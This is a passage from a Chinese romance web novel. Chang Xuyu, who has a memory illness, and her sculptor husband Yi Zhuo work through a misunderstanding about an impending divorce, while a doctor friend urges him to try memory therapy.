果然,常絮语被呛着了,她趴在桌子一角咳嗽,袁梓胥忙着给她顺气。
“真的是,不能喝就不喝啊,又没人逼你,咱们只是来吃个饭。”
常絮语咳完了,摆了摆手示意她没事。
可下一秒——
两个人听见细微的抽噎声。
常絮语慢慢抬起头,凌乱的碎发里,藏着一张泛着粉红色的小脸,她皮肤白皙,所以红的更加明显。
她一边哭一边找酒瓶,满脸委屈,像个乖乖的又想耍点脾气的小孩。
袁梓胥扶额,这酒量也太浅了。
8. Chatper 08
夜里的风张牙舞爪的呼啸着,夜幕中半点星子的踪影也看不见,明天大概不会是个好天气。
袁梓胥搀扶着醉醺醺的常絮语,三个人出了店门。
常絮语闷着头,嘴里小声地叽里咕噜说着什么话,听不清楚。
走走停停,常絮语东拐一下西跑一下,袁梓胥拿她没辙,只能跟哄孩子似得顺着她的动作。
“诶诶诶,一会儿掉坑里了我不捞你啊常絮语!”
简嘉岳忙去路边打了车,招呼着两人:“我送你们回去吧。”
袁梓胥直接把常絮语背了起来,飞速跑过去。
上了车,司机担心地瞧着常絮语的状态,怕她吐车上。
袁梓胥看了眼他,语气有点无奈:“她吐了我肯定赔您钱,麻烦您开到福星花苑小区。”
“好吧。”
车子一路奔驰,就差闯红灯了。
常絮语被晃的晕车,胃里翻江倒海,袁梓胥将车窗摇下去,直到冷风灌进车里,常絮语才有些清醒。
“这是哪里啊?”
“我们快到家了。”
袁梓胥拍了拍她的肩膀,睡眼惺忪。
好不容易熬到头,下了车,还没进小区,常絮语嗅见冷空气,捂着嘴巴要吐。
*
......
“下次再带你出去喝酒我就一年接不到订单!”
袁梓胥闭了闭眼,扶额,将从便利店买来的矿泉水递给常絮语。
常絮语喝了口水,舒了一口气,终于感觉自己又活了过来。
但是感觉头还晕晕的。
常絮语揉了揉太阳穴,想着自己刚才的样子肯定有些丢人。
她脸红,不好意思道:“麻烦你们了,还有简老师,这么晚了还要送我们回来。”
“嗯...这么晚了,简老师,您早点开车回家吧。”
简嘉岳笑:“不碍事,我一会再打车回去,刚刚喝了酒,开不了车。”
他看了看腕上的手表:“走吧,我送你们到楼下。”
还没走到单元楼下,三人的视野里出现了一辆大G。
常絮语窥见黑夜里那一排号码。
心跳像是漏了一拍。
袁梓胥皱眉,拉着常絮语往前走,一个男人的背倚着车身,闻声转过头来,正是易焯。
简嘉岳看清来人,皱眉。
寒夜里,男人身上穿了件宽大的黑色羽绒服,像是能塞下两个常絮语,却依旧能衬出他优于常人的背肌轮廓。
他额间还有一道醒目的疤痕,几缕碎发遮去半数,不丑陋,却给人冷冽暴戾的错觉,加上他紧紧皱着的眉心,越靠近,越能让人情不自禁感受到压迫。
男人走过来,带着一身料峭的寒气。
袁梓胥看他面色不善,心里有些发怵,但还是将常絮语护在身后,毅然道:“你,你想干什么?”
她没见过易焯,单纯觉得眼前这个男人不是个善茬。
她警惕着,感觉周围凉飕飕的,分外渗人。
下一秒,袁梓胥想掏出手机来报警。
怎料,男人停下来,忽然叹声,低哑的嗓音里带着一丝不易察觉的温和。
“我给你打电话,怎么不接?”
他问常絮语。
“啊?”
常絮语反应过来,摸遍了全身的口袋,终于在棉服内侧的口袋里找到了手机,按键,黑屏关机。
没电了。
什么时候没的电,她也不知道。
两个人一高一低对视着,她抿了抿唇,将黑屏的手机收了回去:“我不知道它没电了,不好意思。”
“你怎么找到这里的?”
常絮语有些愣。
她跟他生活上一直保持着距离,除了偶尔回他买的那套房子里住几次,在外面几乎很少有接触,他更不可能知道袁梓胥的住址。
男人双手下垂,敛神,深沉的嗓音从她头顶幽幽传来:“我给你姑姑打了电话,她说让我来这儿碰碰运气。”
常胜楠确实是那样说的,那个时候她忙着跟朋友在外面唱k,喝了点酒,有点迷糊,就拿这些话搪塞他。
“我姑姑?”
常絮语捂上嘴巴,一双圆眸里显露出惊诧。
易焯怎么会认识她姑姑?
“嗯。”
男人眯了眯眼,看着呼吸间氤氲的白雾,大掌径直握住她温软的手,包裹住不断将温度渡给她。感受到她的冷意,男人皱了下眉,却依旧缓声对她道:“先上车,外面凉。”
“等一下!”
就当身后的常絮语要被走的时候,袁梓胥忽然将人夺回来,扬手制止男人的动作。
“您到底是哪位啊?”
说话这么亲密......
易焯还没来得及回答袁梓胥的话,就闻见了两人身上的酒味。
他皱起眉,神色一瞬之间冷了下去。
“你们带她去喝酒了?”
袁梓胥被这突如其来的怒意吓得愣了愣神。
只是还没轮到她答,常絮语忽然两眼一黑,直直瘫倒下去——
“絮语!”
三人几乎异口同声。
简嘉岳跑了过来,想抱她却落了空。
他抿唇,机械似的手臂迟钝的收了回去,满目空落。
易焯将人紧紧护在怀里,埋头,箍着她腰身的手背上暴起青筋,仿佛在呵护这世间唯一的珍宝。
袁梓胥双腿发软,往后踉跄一步。
男人瞥了一眼简嘉岳,眸色深了几分,对袁梓胥道:“劳烦你,我想单独跟你说两句话。”
话罢,他就打横抱着常絮语往一边大步走开。
袁梓胥一愣,回神,紧跟了过去。
路灯的光分外昏暗,男人眸中的疏离和心疼在明暗交错中缓缓交叠。
他闭了闭眼,克制着周身的戾气,对着袁梓胥沉声开口:“她,其实生病了。”
男人的语气低沉哑然,仿佛在痛苦上蒙了一层浓雾,疯狂掩盖。
“絮语的姑姑说,你是絮语最好的朋友,”他顿了顿,“絮语以后免不了要跟你在一起玩闹,所以我提早将这件事告诉你,希望你以后,能多多照顾她,拜托了。”
他低眸,微微弯腰请求袁梓胥。
“不敢当!不敢当!”
虽然还没反应过来,可这样一个男人愿意放下个人架子恳求人,着实是令她意外。
“你也知道了,我跟絮语认识六七年了,当然是把她当做亲姐妹一样对待的......”她轻咳一声,语气带着一丝歉疚,“对不起,我不知道她的病,不然肯定不会带她喝酒去......”
她叹了口气——
男人摇头。
“她其实不知道自己生病的事,所以你不用自责,也不用怪她。”
原来是这样......
“这丫头从来都不肯跟我提,今天肯定是遇到什么伤心事了才会突然来找我,跟我说她要离婚,嗯,估计就是要离婚的事。”
闻言,易焯怔了怔,脑子里仿佛有一根弦崩了。
她自顾摩挲着下巴尖,眯了眯眼。
根据她的猜测,真正的原因只能是这样。
虽然絮语不说,但作为“解语花”的她怎么能不知道呢?
“依我看啊,她那个隐婚的老公肯定不是什么好人,絮语跟我说,他把她当替身呢!你说这个人是不是超级无敌可恶!”
她义正言辞,说到“替身”字眼的时候,咬着牙还挥了挥拳头。
易焯的眉头微微皱了起来。<
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p>什么替身?
他怎么听不懂?
袁梓胥还在喋喋不休的骂常絮语那个可恶的“老公”,对着空气拳打脚踢了一通。
骂爽了,她舒服的顺了顺胸口,呼出一口气,看向紧紧抱着怀中人的易焯,虽然她也不知道絮语的姑姑有没有孩子,不过两人这么亲密,应该是亲人关系吧?
她摆摆手,随口问:“哦对了,还不知道您是哪位,是絮语的表哥吗?”
男人眸间的光黯淡了几分,低眉,过了一会才缓声答复:“我叫易焯,是絮语的丈夫。”
风吹着地面上塑料草沙沙作响。
晴天霹雳“哐当”一声砸向袁梓胥的脑壳。
丈,丈夫?
也就是,絮语那个隐婚的雕塑家老公?
那她刚才......
大脑嗡嗡作响的袁梓胥站在原地呆若木鸡。
她好半天缓过神来,晃了晃头让自己清醒一点。
这事不对吧。
她“啧”了一声,为刚刚说的话十分不好意思。
早知道嘴就不那么快了……
看她不再言语,易焯抱着常絮语平缓踱步,略过她时,他想了想,淡淡开口:“虽然没听懂你刚才说的话,但我这将近三十年的时光,只在乎过絮语一个人。”
“想必是她告诉你我们要离婚的事,”他顿了顿,“我爱她,所以尊重她的意思。”
“我只怨我这个人无趣,脾气秉性都不是她会喜欢的。”
他的语气很淡,却又掩饰不住的落寞。
“真的?”
袁梓胥一边的眉梢微微挑起,有眯了眯眼,狐疑问。
他真的没有把絮语当做什么替身?
易焯没有再次答复她。
“以后有机会再跟你聊絮语的病。”
“记得不要再让她喝酒,”他微微偏头,“会破坏脑神经,她的大脑和神经都已经很脆弱了。”
......
易焯原路返回,走到车旁边,忽然被人拦了下来。
简嘉岳阴沉着一张脸走过来,站在易焯的对立面,看着比自己高出半头的男人,他微微昂起头,怒道:“易焯,我以前很欣赏你年纪轻轻就是个有代表作、能在艺术界崭露头角的雕塑家,只是没想到,你竟然也会干出将人当做替身的事。”
易焯狭长的眸中渗出寒意,神色淡漠的站在那,背影像是一座巍峨的雪山。
他瞥了一眼简嘉岳,丝毫不将他放在眼里,准备走。
简嘉岳一手摁住车门,简言意骇的和他说清楚:“我听絮语说,她要跟你离婚。”
“她对你根本没有感情,你既然不能真心对她,为什么不趁早放手?”
简嘉岳攥紧拳头,高声质问。
易焯不耐烦的转过头,舌头顶了顶后槽牙,眯眼。
他不信是常絮语主动告诉这人的。
男人扬起一边的唇角,轻蔑的哼笑一声。
“怎么?你是盼望她跟我离婚之后,你就有机会了?”
他满脸的不屑跟额角的疤痕相呼应,不算面善,称得上狠戾。
简嘉岳从气势上就弱了两分。
易焯腾出一只手,将简嘉岳把着车门的手臂打了下去。
简嘉岳吃痛,皱眉看他。
易焯将车门拉开,小心翼翼将怀里的常絮语放进去,又关好车门,不徐不慢的从烟盒里掏出一支香烟塞进嘴里。
他扬眉,将烟点燃,居高临下的看着简嘉岳,眯着眼,缓缓吐出一口烟圈。
烟雾缭绕中,他嗓音暗哑淡漠——
“就算跟我离婚,她也不会看上你这样的。”
男人指尖夹着烟,抖了抖烟灰。
零星的散在地上,不过几秒就被风刮干净了。
9. Chapter 09
再次睁眼,是记忆里分外熟悉的房间。
白色的天花板,窗外是昏暗的天,楼房的影子朦朦胧胧,若隐若现,像隐匿在云涧的世外仙境。
看来今天是个有雾的天气。
周围陈设依旧,她知道,又回到了和易焯的“家”。
但很快就不是了……
常絮语喉间发涩,尝试着咽了口唾沫,发觉疼的厉害。
环顾四周,刚要起身,才瞧见了手背上扎着针,抬头,一瓶透明的液体正不急不慢的往下走,一滴接着一滴,她才恍然,自己似乎是病了。
昨天发生了什么……她毫无印象。
想深入想一想,却头胀脑昏,痛感随着太阳穴传遍四肢百骸,她倒抽一口凉气,放弃了。
不远处传来不轻不重的脚步声,愈加近了,易焯推开门进来,手里端着一盘水果。
常絮语抬眸。
看见她愣愣的坐在那,恍惚间,男人有一瞬的无措,但很快平静下来,眼底多了一抹柔和。
“醒了。”
似问似答。
他缓步走到她身边,坐在矮凳上,两条长腿屈起来,大手揉了揉她的发顶。
掌心宽厚而温暖,触到她的皮肉,她轻颤了颤。
她好像又忘记了什么事。
“易焯。”
常絮语忽然轻声叫他的名字,眨了眨眼,一双清澈透亮的眸子一转不转的看着她,满是茫然和不安。
“嗯。”
男人十分平静的回应她,好像早有预料,边将切好块的橙子递给她,嗓音低哑而温柔,“我在。”
她接过,略带着酸味的橙子刺激着她平淡的味蕾,连带着神经好像也微微晃动,很刺激的感觉。
眼皮不受控制的抬了抬,她三两下咀嚼完咽下去,抿唇祈求:“我不想吃了。”
他老是喜欢给她补维生素。
可是富含维生素的水果真的很酸很不好吃。
她也不太喜欢吃水果。
因为对很多水果都过敏,比如芒果、猕猴桃之类的。
虽然易焯从来不会切让她过敏的水果,可她就是不喜欢吃。
易焯看她一眼,敛神,将叉子放回去,看了看腕表。
“你昨天晚上发烧,吹了点风,我就叫了小宋过来给你看看,打了吊瓶,”他顿了顿,忽然靠近她,“现在八点半,睡了一觉,还难受吗?”
“小宋”是他的一位医生朋友,她记得。
鼻息间充斥了些他身上淡淡的薄荷味,常絮语下意识往后退了退。
“有点头疼……”
她语气很轻。
男人眸色深了些,准备给宋医生打电话。
忽然,有人的电话率先一步打了过来,是常胜楠。
他将手机递给常絮语。
“你姑姑很担心你,跟她说说话吧。”
常絮语一惊,这才想到昨晚手机关机了,姑姑大概是联系不上她,才给易焯打的电话。
她赶紧摁下接听键:“姑姑……”
听见声音,电话那头的女人心揪了起来——
“乖乖哟,你终于接姑姑电话了!”
常胜楠心疼的责怪道,又于心不忍,只能缓声,“现在没事了吧?”
常絮语不想让姑姑担心,淡笑:“没事的姑姑。”
常胜楠欲言又止,微微叹了口气,让她把电话给易焯接。
易焯接过手机出了房门。
常絮语四处摸不到手机,只能再度躺下去,等易焯回来再问问。
她盯着对面空空如也的墙面,抿唇。
一般结了婚的,墙上大概都会挂婚纱照吧。
近几年,她一直能在社交平台看见以前认识的同学结婚,一个个穿着洁白的婚纱,可漂亮了。
她跟易焯的婚姻特殊,匆匆领了证,连婚礼也没有。
婚纱......
也不知道还有没有机会穿上。
或许她可以去写真照相馆穿一穿,拍一些照片,那样也好。
想着想着,她吸了吸鼻子,平躺下去继续睡。
她的听觉天生就要比一般人敏感一些,尤其是闭上眼之后,仿佛所有注意力都在两只耳朵上。
隐约听见门外男人和姑姑的谈话,“离婚”,“病情”,“记忆”一类的字眼通过耳朵钻进她心里。
虽然不大能好听请具体说了什么,但她疑惑的是,易焯为什么会跟姑姑认识呢?
过了一会,易焯走过来。
常絮语又坐起来,由于手不能动,她没怎么折腾,直起腰板来和他对视,像只小兔子一样。
“易焯,你怎么会跟我姑姑有交集的?”她想了想,仿佛预判似的又道,“你不要用我们结婚了这一类的话搪塞我,你那边的亲戚我一个没见过,凭什么你就能跟我姑姑结交?”
她一双杏眼含着薄雾,透亮清澈,像一片泛着涟漪的湖面,小脸气的泛着淡粉色,晕在鼓鼓的两腮上,跟两朵可人儿的桃花似得。
易焯闻言一怔,继而,唇角微不可查的弯了弯。
瞥见他眼底的笑意,常絮语低眸想了几秒刚才说过的话,反应过来,她脸更红了。
“我不是那个意思……”
“嗯?”
她咬唇,试图跟他解释,但越解释越糊涂。
“我不是想见你家长的意思,我是说,你不能擅自不经过我的同意就跟我姑姑认识,嗯,也不对……就是你不允许认识我家里的人……”
“为什么?”
男人皱眉。
常絮语手上攥着被子一角,感觉头顶在呼呼冒热气。
假的都被她的语无伦次说成真的了。
她巴不得找个地缝钻进去,等热气冒完了再偷偷溜上来喘口气。
易焯站起身,将果盘端在手上,默不作声的看着她。
忽然,他淡淡开口:“絮语,我没有家人。”
常絮语一愣。
“我父母早就离婚了,后来母亲去世,父亲一直在外面花天酒地,直到续弦娶了生意场上的女人,”他眸色很暗,顿了顿,“我们已经很多年不联系了,所以算不上什么家人。”
他抬眼,对上常絮语愣愣的目光,语气平缓下来:“不是我愿意不带你去见他们。”
男人想了想,又道:“如果你想见,随时都可以,我可以带你去母亲的碑前。”
她是他这辈子唯一在乎的人,想带她去见见母亲,她温柔善良,相信母亲也会喜欢她,只是絮语并不想跟他再有什么瓜葛,所以他不会强求。
看着他眼底那一抹淡淡的黯然,常絮语抿唇,忽然伸手去牵他的。
她手掌的温度不高,甚至有点凉,握住他的手时却惊叹他掌心的温暖。
以前上学的时候就听说,做雕塑的要能扛的动几十斤的泥巴,电焊和锯子都要用好,是个重工耗体力的专业,何况他还做的这么好……
身体素质肯定要比她强一些。
其实看看他身上的肌肉就行,不过他这人身材好,衣品也好,穿什么都像衣架子,身上的肌肉不是很能显现出来。
不过他身体长什么样,她是都知道的……
易焯顺势单膝跪在她身边。
“我跟你姑姑,之前生意上有交道,”他缓声解释,“之前能去你家相亲,多亏了你姑姑的介绍。”
其实是他主动提出来的,常
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胜楠看他条件不错,就帮他给常母提了提,至于常母就更不用多说了,一看他有钱,立马就答应了下来。
常絮语一愣。
没想到姑姑和他还有这样的联系。
她低眉,想到他刚刚轻柔地揉着她发顶的动作,被唤起了一段记忆。
昨天,她好像跟袁梓胥说,易焯将他当作替身来着。
这记忆力真是越来越不好了,才二十多岁,怎么这么健忘……
她小声安慰:“你也不要太伤心了,你母亲我就不见了,毕竟……”我也不是你心里那个人。
后半句她忍住没说,只是觉得,他们不是真心相爱,既然他将她当做什么替身,那她干脆也不要他了。
房间里静悄悄的,落针可闻。
他胸膛里那颗跳动的、滚烫的心仿佛被泼了一盆凉水,失去了原本的温度。
“嗯。”
“不见就不见吧。”
他淡声,语气里却有难掩的落寞。
他知道,她肯定又要说“毕竟我们也要离婚了”之类的话。
男人沉默着端上果盘,再度起身,拨开她的手要走,脚步却顿了顿,似乎是想到了什么事一样,兀自又转过身来。
四目相视。
常絮语呼吸一滞,忽然感觉有些心虚,情不自禁的低下眉眼,抿唇。
易焯轻叹一声,喉结滚动。
“絮语,我从来没有把你当作是谁的替身。”
他的神色凝若死水,藏匿着一丝忧黯,却又带着几分急切。
知道她对他没有感情,可在分开前,至少不能让她一直心存误会。
其他的,他就不能再左右了。
“从始至终,只有你。”
我只爱过你一个人。
男人的眉心微微皱起,似是藏着无数化不开的情绪,他语气沉重,嗓音醇厚,仿若饱经风霜,依旧能放下一切去拥抱她的脆弱。
“我快三十了,有些感情上的事处理的不是很恰当,脾气也不够好,我只能尽我所能给你最真实的东西。”
最近他一直很忙,下巴上泛着新的青色的胡茬,眼下生出淡淡的青黛,健康的小麦色皮肤算不上细腻,有些粗糙。
常絮语偶尔会在晚上的时候给他涂一些护肤品,不过他用不惯,每次都要抓住她两只白净的手皱一皱眉。
但他却知道她喜欢这些东西,会默默托人采购,经常给她带回动辄上万块一小罐的护肤品或是彩妆。
常絮语问起来,他也只是淡淡应声。
她知道,他从来都不是一个浪漫的人,很多事都选择沉默,要么就是哄孩子一样的叫她不用在意。
更多时候,他选择自己背负。
她会时常忘记很多事,可关于他的记忆,她却能一日不落的想起来。
或许,也是一种缘分。
他会给她单独的卡,不干涉她喜欢的工作,每个月会给她汇一大笔钱,也会给她买钻石珠宝,虽然她从来没有佩戴过。
他不知道她喜欢什么,只是给她大多数人都会要求的东西。
所以常絮语才会认为他是在透过她的眼睛看另外一个人。
如果不是这样,她真的想不出什么更好的理由。
“是,你会给我买很多东西,可从来没有在乎过我真正想要的是什么……不,你不用知道,反正我们之间本来就没有感情,你说你爱我,我却连你爱的是谁都不知道。”
他爱的肯定不会是她。
短短几个月,他无条件的对她好,像他这样的男人,怎么会玩一见钟情那一套?
她的眼泪止不住的涌了出来,心脏一抽一抽的疼,可她也不明白,自己为什么会哭。
10. Chapter 10
她哭的上气不接下气,想忍住眼泪,却收不住声音,弄的她脸红心跳,觉得很丢脸。
男人微微抿唇,沉默着给她擦眼泪,粗粝的指腹轻轻擦过她的面颊,动作缓而柔和,带着一丝颤抖。
常絮语往后躲了躲,咬咬牙,甩开他的手,自己胡乱地抹了抹不争气的眼泪,深呼吸向他道歉:“对不起,我没能控制我的情绪。”
她眼眶很红,有时候也讨厌自己泪腺发达,做什么都喜欢哭,受一点点委屈就要自己偷偷掉眼泪。
因为是躲着所有人偷偷的哭,所以没什么人知道她喜欢哭这件事。
易焯神色一凛,眼底亮起一抹暗色,仿若蓝海幽深。
不过他是知道的。
她性格软,明明是一个很脆弱的人,却要伪装自己拥有很坚硬的外壳。
他忽然很想抱一抱她,告诉她没做错任何事。
男人喉结滚动,哑然对她说:“这不怪你,是我的错,没能让你有安全感。”
“我身边朋友很少,更多的是商业伙伴,你如果不相信可以,也可以劳神去打听,我没有别人,絮语,我只有你。”
确实,他从来不会说温情小意的情话哄她,她现在性格温吞安静,可在他眼里,常絮语一直都是当初那个开朗又坚强的小姑娘。
她一直都很谨慎,生怕自己做错了事,让身边的人难为情,却忘了人不能一直迁就。
他很心疼这样的常絮语。
易焯俯身将清瘦的人儿揽进怀里,大掌轻轻的拍着她的背,一下一下,不知道是在抚慰谁的心。
“在我这,你可以无所忌惮。”
他揉着她的发顶,轻叹一声。
常絮语一直在努力平复自己的情绪,只是听见他沉着的嗓音,她眼眶又开始酸了。
她刚刚就是在耍脾气,将在家里受的气全都撒给他,虽然及时止损了,可她仍旧有愧。
离婚是她提的,易焯没有对不起她,他不该包容她所有的坏情绪。
“你叫宋医生来拔针吧,这瓶药马上没了,”她抿抿唇,“一会我给你煮鸡蛋面,我们今天在家吃饭好不好?”
她轻咬下唇,缓声询问。
她厨艺一般,会一点家常便饭,不过胜在味道很好,也幸好易焯不挑食。
怀里的人有一下没一下的点着他胸膛硬邦邦的肌肉,她的碎发轻擦着男人的下巴,恍的他心痒痒。
“好。”
他胸口微微起伏,声音难掩的克制。
感受到他呼吸的异常,常絮语迅速收回手,脸红了红,不敢再放肆了。
这人真是……
常絮语的耳朵紧紧贴在他心口处,听着他的心跳声,抿紧唇瓣。
易焯低眸看着她乖乖偎在身边,眸中情绪涌动:“能跟我说说,你昨天回家,遇到什么事了?絮语,你怎么会难受到要去喝酒?”
常絮语抬眼。
“嗯?”
昨天……
昨天是做了什么吗?
她记不起来了,努力回想,也还是什么都想不起来,她只记得去找了袁梓胥,跟袁梓胥说她要离婚,其他的,她真的忘了。
她摇了摇头,有点愧疚的呢喃:“对不起啊,我忘记了。”
常絮语努力回想,可是越想越头疼。
“我昨天,应该要做什么吗?”她轻声问道。
易焯神色一凛,顿了顿。
“没有,想不起来,那就不想了。”
......
输完液,宋舒珩给常絮语拔了针,收拾完东西要走,半路又被易焯拦了下来,两人在客厅叙话。
阳台前,易焯点燃一支香烟,眉头紧锁。
宋舒珩看他这个样子,摇了摇头,嘱咐着:“你也少抽点烟,对肺不好,趁现在还不算老,赶紧保养保养,小心你老婆不要你了。”
国央美术学院是国内四大美院之首,里面的学生多是过五关斩六将才能入学的艺术届人才,旁边的医科大学照样如此。
宋舒珩跟易焯一样大,不过央美的雕塑专业是五年制,宋舒珩早他一年拿到本科的学位证,又去了国外考研考博深造医学,这会儿刚回来没多久。而易焯在大学获过很多奖,本科毕业就自己开了工作室,两个人最初能结交也是因为一场较量,宋舒珩这个人头一次败在一个人手上,却心服口服,志同道合,交情自然也就深了。
闻言,男人捏着烟转过来,倚着窗,微光透过浓雾打在他身上,深邃的眉眼间匿着倦意和戾气。
宋舒珩憋笑,轻咳一声,知道这是戳中了他的心事。
性格闷闷的老男人,唉。
“行了行了,不戳你痛处了,你别这么盯着我,长得那么凶,这样怪瘆人的……”
宋舒珩装模作样的耸了耸肩,心里门儿清,这是换了一种方式气他。
易焯白了他一眼,转过头将最后一口烟抽干净。
他舌头顶着后槽牙,垂眸好半晌,忽然皱着眉看他,嗓音有几分沙哑——
“我……真的老了吗?”
以前不觉得岁月催人老,能有今天属实不易,可看着常絮语依旧美的让人移不开眼,看着那张刻进记忆里的脸,他会沉思,这么多年过去,她也才二十四五岁,而再一转眼,自己已经快要三十岁了。
虽然中间不隔几年,却还是成了他心头的疙瘩。常絮语会不会也是因为他岁数大了,才嫌弃他,肯定了离婚的想法呢……
男人某种闪着几分落寞,耸拉着肩,没什么精神气。
宋舒珩“啧啧”了两声,摇着头在他身边晃悠踱步。
无心之言,无心之言,谁知道他还真这么在乎。
“你也知道自己年龄大了?你就听我的,戒烟戒酒早睡早起,那方面……也控制控制,过段时间肯定年轻十岁,保准永葆青春活力么!”
话罢,还冲他挤眉弄眼一阵,过了两秒,可能是自己也绷不住了,干呕两声,拍了拍他的肩:“哎,都是兄弟,我都懂。”
老婆那么漂亮,又是自己好不容易才娶到手的,怎么可能天天忍?
易焯的眉皱成了一个“川”字,倾身甩开他往外面走,冷冷丢一句——
“无聊。”
宋舒珩“切”了一声,跟过去继续膈应他。
“真是服了,你不是搞艺术的吗?一身腱子肉就算了,脾气还这么臭,又没点情调,你老婆可是正儿八经喜欢艺术的美女,怪不得人家要跟你离婚。”
易焯懒得跟他一般见识,随手将烟摁进烟灰缸。
他停下来,想了想,开始问正事。
“她这次发病,还有什么异常吗?”
“没有,不过近期需要留意,”宋舒珩顿了顿,“你可以时常跟她讲讲以前的事,虽然强制回忆会比较痛,不过这是目前所知最有效果的治疗方法。”
男人身形一滞,闭了闭眼,薄唇紧闭着,神色凝重。
宋舒珩早就跟他说过这个方法,可易焯再三犹豫,还是没做。
“易焯,你自己好好权衡,而且能让她想起来和你的一些过去,不也是你们感情的调和剂吗?”
宋舒珩语气开始急迫,上前两步,皱着眉劝说。
易焯沉默片刻,良久,他艰难启齿,声音分外哑涩:“这不一样,我舍不得她疼......”
“如果眼睁睁看她这么痛苦,我宁愿她什么都想不起来。”
“昨日痛,今日毕,她就这样一直忘记,也是好的。”
“你!”
宋舒珩被气没话了,这不是他第一次劝易焯。
“行,你舍不得她疼,可常絮语也算我的病人吧?你这是在质疑我的专业,治不好她,就是我事业上
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的黑历史......”
他抄起大衣穿在身上,愤愤离去。
“她十几岁出的那场车祸损坏了她的脑神经,加上心理疾病让她选择性的忘记一切,这样拖着不治疗,后果咱们谁都不敢预料!”
“易焯,她早晚有一天会彻底忘记你,不仅是小时候,你们过去的回忆,痛苦的、美好的,她都会忘记。”
宋舒珩脚步蹲在某一处,过了片刻,冷声警醒着易焯,试图让他妥协。
其实,常絮语只会自动选择的忘记有关“易焯”这个人的一切,对其他记忆并没有很多影响,宋书珩不忍心看着易焯为她付出这么多,却不被记得。
可易焯不这样想——
良久,男人站在原地,忽然笑了一声。
他舍不得常絮语为了记住他遭受疼痛。
就算不记得他,那也没关系。
他只要她平安就好。
和他这样的人在一起,她也不会开心。
“我自己有打算,谢谢你,舒珩。”他淡声,看他的眼神有微不可查的感激,只是稍纵即逝。
宋舒珩敛神,“哼”了一声,攥紧拳头,憋着一肚子气走了。
他就是头倔驴!
算了,再也不给他操心了。
宋舒珩一直不明白,常絮语究竟有什么值得易焯这么疯狂的,恨不得将心肝都掏给她,偏偏她还得了这么个病,关于易焯的一部分记忆慢慢被啃噬消亡,两个人就这么稀里糊涂的纠缠着,真是不知道图什么。
宋舒珩走后不久,常絮语端着一小锅鸡蛋面从厨房走了出来,四周望了望,发现只有易焯一个人,问道:“宋医生呢?”
“他刚走。”
易焯走过去接住她手里的那支小锅,鸡蛋面的香味扑面而来,他笑:“好香。”
常絮语弯唇,去拿碗和筷子。
两个人坐在饭桌上慢慢吃饭,常絮语咽下一口面,筷子戳着碗底,小声说:“我会做的饭挺少的,你还想吃什么?我去网上搜搜。”
男人埋头吃面,没吭声。
他吃的快,吃相却很好看,没几口就解决掉一碗,将筷子放下来,他语气没什么情绪的问她:“絮语,你这是在向我道歉吗?”
常絮语没看他,低头凝着碗里的面,抿了抿唇,算是默认。
他面色沉了下来,低头看了一眼腕表,眉心微蹙。
“我下午还要去工厂一趟,晚上不用等我回来,自己先休息。”
易焯不再看她,端起碗往厨房走,流水声“哗哗”响了起来。
常絮语耸耸肩,抿唇,也不知道自己说错了什么话。
她就是想为刚刚的事道个歉啊,他又不是活该必须当她的情绪垃圾桶。
这么想着,常絮语站起来转身对他说:“那我跟你一起去。”
男人手上的动作一滞。
他反应过来,淡声驳她:“不用,我做的都是些体力活,飞尘多,不太干净,你待不惯。”
“我没有洁癖。”
她努努嘴,手指抠着桌布一角,小声的解释。
“正常的艺术工作而已,通常在画室,谁身上不会落点碳灰跟颜料?这有什么?”
易焯默默将碗盘摆放好,直起背来直勾勾的盯着她,脸上的表情晦暗不清。
良久,他走出来,轻瞥她一眼,头也不回的往房间走,扔下一句:“随你。”
常絮语愣在原地,看着他的背影,心理不解他为什么这么抗拒她去他工作的地方。
雕塑……
有时候想想也挺可笑,他不懂浪漫,少言寡语,务实又死板的性格,竟然会做这种事业。
可他的确有天赋,又身强力壮,很适合做这一行。
常絮语看着他沉默的背影,忽然问——
“你,是因为什么做的这一行?”
11. Chapter 11
易焯的工厂规模不大,距离却远。
工作室就建在一边,工作也挺方便。
车子开到目的地时,常絮语倚在副驾驶,轻轻的有规律的呼吸着,还没睡醒。
易焯往嘴里放了颗薄荷糖,闭上眼休息一会。
车里安静的只有平稳的呼吸声和和时不时的衣料摩擦声。
带着一丝苦涩的薄荷糖在口腔里化开后,男人睁开眼,清醒不少。
他小心翼翼的推开车门,走到另一边打开,轻缓的将常絮语抱了出来。
常絮语睡的浅,他动作虽轻,她依然醒了过来。
忽然来到陌生的地方,她揉了揉眼,看着眼前陌生的建筑,有些新奇。
“这么快就到了!”
易焯低头看了看腕表:“你睡了一个小时。”
她一愣。
“这么久啊......”
“走吧。”
两个人慢慢走过去,远看,厂的规模不算很大,走的近了,发现麻雀虽小,五脏俱全。
大门有人守着,易焯自窗前冲那人点点头,刷着红油漆的门就开了。
易焯忽然握住她的手,力道不重,将她微凉的手包裹的严严实实,她感觉到自指尖传递到身体上的温度。
他很少牵她的手。
碰巧有员工从从厂里叼着烟往外走,透过烟雾看见对面走来的易焯牵着个长发的女人,面上一喜。
他跑过去,看着常絮语问:“哟!老板,这位是……”
还没见过他这个冷脸老板身边有过什么红颜知己之类的人,今天这是咋了?
男人盯着常絮语看了看,黑长直,外面的皮肤白皙,一身素净的配色很舒服的着装,虽看不见全脸,却也能看出来是个很有气质的美女。
她闷着头,闻言微微抬起来,露出一双水灵的杏眼,樱唇轻抿,粉腮桃若。
真是个美女!
易焯“嗯”了一声,停下来稍顿了顿,然后介绍道:“这位是我妻子,姓常,今天不上班,跟着我来看看。”
常絮语微微发愣的看着他。
他竟然就这么大方的承认了这段关系。
即使最后要离婚,面子上落不得好,他也没有否认她的身份。
反观她就很畏首畏尾,不愿意在人前承认他们的关系,主要是觉得自己以后面子上不好看。
想到这,常絮语抿唇,心里漾起一丝酸涩。
吃瓜的男人瞪大眼睛,看着跟自家老板的硬汉气质完全不搭边的常絮语。
“老板,你啥时候结的婚啊?”
瞒的真严实,这边都没人知道。
太突然了。
“前不久。”
易焯淡声答。
那人推了推鼻梁上沾了灰的眼镜框子,咧嘴笑:“得嘞!手上这一单的货快做完了,嫂子第一次来,正好能多看看!”
这里的聘用的员工不多,听易焯提起过,几乎全是雕塑或设计专业出身的年轻人。
她对着他轻轻弯唇,点了点头。
易焯攥紧她的手,继续往前走。
身上忽然暖烘烘的。
她半张脸缩在厚厚的围巾里,面颊泛起一抹谁也看不见的粉红。
男人牵着她先去了工作室。
屋子里有暖气,一进门瞬间暖和了不少,常絮语吸了吸鼻子,慢慢的从他手中退出来,假意摆弄着围巾,趁机喘口气。
